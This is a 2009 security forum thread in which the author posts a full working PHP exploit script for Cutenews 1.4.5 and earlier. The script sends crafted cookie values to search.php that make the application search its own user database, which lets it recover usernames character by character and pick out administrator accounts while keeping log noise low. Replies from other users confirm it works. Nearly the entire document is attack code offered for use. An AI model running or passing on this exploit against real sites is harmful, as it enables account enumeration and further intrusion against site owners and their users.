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IT Security and Insecurity Portal |
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Cutenews <= 1.4.5 usernames fetching exploit ver. 1.2 |
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 Posted: Tue Mar 10, 2009 3:32 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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This new version fixes bug related to usernames containing spaces and/or dots. Feedback is welcome!
P.S. Metasploit module version is coming out soon 
| Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 usernames fetching exploit
// Version 1.2
// Written by Janek Vind "waraxe"
// http://www.waraxe.us
// 10. march 2009
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE - minimal noise in logs
// 3. Pretesting saves time if Cutenews not vulnerable
//
// Version 1.1 -> pattern recognize improved
// Version 1.2 -> bugfix related to spaces in username
// version 1.2 -> bugfix related to dots in username/magic_quotes_gpc
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$target = 'http://localhost/cutenews.1.4.5/search.php';
$level = 1; // User level needed, admin is 1
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
if(($level < 1) || ($level > 4))
{
die('Specified level is invalid!');
}
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$levelname = $levels[$level];
$start_time = time();
$users_cnt = array();
$users = array();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
set_time_limit(0);
}
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews usernames fetching started");
add_logline("Target: $target");
add_logline("Reglevel: $levelname");
pre_test();
fetch_users();
$fcnt = count($users);
add_logline("Fetched $fcnt usernames with reglevel '$levelname'\n");
xecho("\nFetched $fcnt usernames with reglevel '$levelname'\n", 1);
foreach($users as $username)
{
add_logline($username);
xecho($username, 1);
}
$run_time = time() - $start_time;
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1);
xecho("See ya! :)", 1);
exit;
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function fetch_users()
{
global $users_cnt, $level;
$maxlen = 15;
$pieces = array('' => $users_cnt[$level]);
for($i = 0; $i < $maxlen; $i ++)
{
$cntx = count($pieces);
$arr = array();
foreach($pieces as $known => $count)
{
$arr2 = reveal_next_char($known, $count);
$arr = array_merge($arr, $arr2);
}
$pieces = $arr;
}
}
///////////////////////////////////////////////////////////////////
function reveal_next_char($known, $count)
{
global $level;
$known = str_replace('[.]', '.', $known);
$known = str_replace('.', '[.]', $known);
$charset = 'abcdefghijklmnopqrstuvwxyz0123456789 ._-';
$chars = strlen($charset);
$out = array();
$rl = "[$level]";
$arr = array("$charset" => $count);
$found_final = 0;
while(1)
{
$found = 0;
$arr2 = array();
foreach($arr as $subset => $scnt)
{
$curr_len = intval(floor(strlen($subset) / 2));
// Testing first half
$fhalf = substr($subset, 0, $curr_len);
$un = "^$known([$fhalf])";
xecho("Testing $un");
$matches = make_query($un, $rl);
if($matches > 0)
{
$found += $matches;
xecho("Found $matches match(es)");
if( strlen($fhalf) == 1)
{
// Exact match?
if(test_exact_match("$known$fhalf"))
{
if($matches > 1)
{
$out["$known$fhalf"] = $matches - 1;
}
}
else
{
$out["$known$fhalf"] = $matches;
}
$found_final += $matches;
}
else
{
$arr2[$fhalf] = $matches;
}
}
if($matches < $scnt)
{
// Testing second half
$shalf = substr($subset, $curr_len);
$un = "^$known([$shalf])";
xecho("Testing $un");
$matches = make_query($un, $rl);
if($matches > 0)
{
$found += $matches;
xecho("Found $matches match(es)");
if( strlen($shalf) == 1)
{
if(test_exact_match("$known$shalf"))
{
if($matches > 1)
{
$out["$known$fhalf"] = $matches - 1;
}
}
else
{
$out["$known$shalf"] = $matches;
}
$found_final += $matches;
}
else
{
$arr2[$shalf] = $matches;
}
}
}
}
$arr = $arr2;
if( $found_final >= $count )
{
break;
}
}
return $out;
}
////////////////////////////////////////////////////////////////////////
function test_exact_match($un)
{
global $level;
$rl = "[$level]";
$test = "^$un$";
xecho("Testing for full match $un");
$matches = make_query($test, $rl);
if($matches > 0)
{
$username = str_replace('[.]', '.', $un);
xecho("Full username found: $username");
$GLOBALS['users'][]= $username;
return true;
}
xecho("Not full match: $un");
return false;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
global $users_cnt;
$un = '^[A-z0-9. _-]{1,15}$';
// Target URL valid?
xecho("Validating target URL");
if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
{
die('Target URL not valid!');
}
xecho("URL is valid");
$rl = "[1-4]";
$cnt_all = make_query($un, $rl);
if($cnt_all < 1)
{
die('Pretest failed - no users at all?');
}
else
{
xecho("Total $cnt_all user(s) detected:", 1);
add_logline("Total $cnt_all user account(s)\n");
}
$rl = "[1]";
$cnt_admins = make_query($un, $rl);
if($cnt_admins < 1)
{
die('Pretest failed - no admins at all?');
}
else
{
xecho("$cnt_admins admin(s)", 1);
add_logline("$cnt_admins admin account(s)");
}
$rl = "[2]";
$cnt_editors = make_query($un, $rl);
xecho("$cnt_editors editor(s)", 1);
add_logline("$cnt_editors editor account(s)");
$rl = "[3]";
$cnt_journalists = make_query($un, $rl);
xecho("$cnt_journalists journalist(s)", 1);
add_logline("$cnt_journalists journalist account(s)");
$rl = "[4]";
$cnt_commenters = make_query($un, $rl);
xecho("$cnt_commenters commenter(s)", 1);
add_logline("$cnt_commenters commenter account(s)\n");
if( $cnt_all === ($cnt_admins + $cnt_editors + $cnt_journalists + $cnt_commenters) )
{
xecho("Pretesting passed successfully - target is vulnerable!", 1);
}
else
{
die('Fetched userscounts does not match - fatal exit!');
}
$users_cnt[1] = $cnt_admins;
$users_cnt[2] = $cnt_editors;
$users_cnt[3] = $cnt_journalists;
$users_cnt[4] = $cnt_commenters;
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $reglevel = '')
{
global $target;
$max_retries = 10;
$cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";
if(!empty($reglevel))
{
$cookie .= ";user=$reglevel";
}
for($retry = 0; $retry < $max_retries + 1; $retry ++)
{
if($retry > 0)
{
xecho("Request failed!\n");
xecho("Sleeping $retry seconds\n");
sleep($retry);
xecho("Awake ...\n");
xecho("Retry #$retry\n");
}
$buff = make_get($target, $cookie, '', true);
$ret = preg_match('/\[[0-9]{1,6}\]:/',$buff,$hits);
if($ret > 0)
{
$ret = intval(substr($hits[0], 1));
if($ret > -1)
{
return $ret;
}
}
}
die('Fatal error - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)');
if(!empty($cookie))
{
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
$GLOBALS['requests'] ++;
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_logline($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
if($GLOBALS['cli'])
{
echo "$line\n";
}
elseif($both)
{
$line = nl2br(htmlspecialchars($line));
echo "$line<br />\n";
}
}
//////////////////////////////////////////////////////////////////////
?>
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| Posted: Wed Mar 11, 2009 6:39 am |
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| DEViANT |
| Beginner |
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| Joined: Mar 10, 2009 |
| Posts: 2 |
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| hectic! Excellent exploitation. Thanks for sharing it |
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| Posted: Fri Mar 13, 2009 3:58 pm |
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| harasym |
| Regular user |
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| Joined: Aug 07, 2008 |
| Posts: 6 |
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| Thx a lot to waraxe, exploit really work's now with spaces and dots, just tested it |
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| Posted: Fri Mar 13, 2009 4:33 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| harasym wrote: | | Thx a lot to waraxe, exploit really work's now with spaces and dots, just tested it |
Glad to hear that |
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www.waraxe.us Forum Index -> All other security holes
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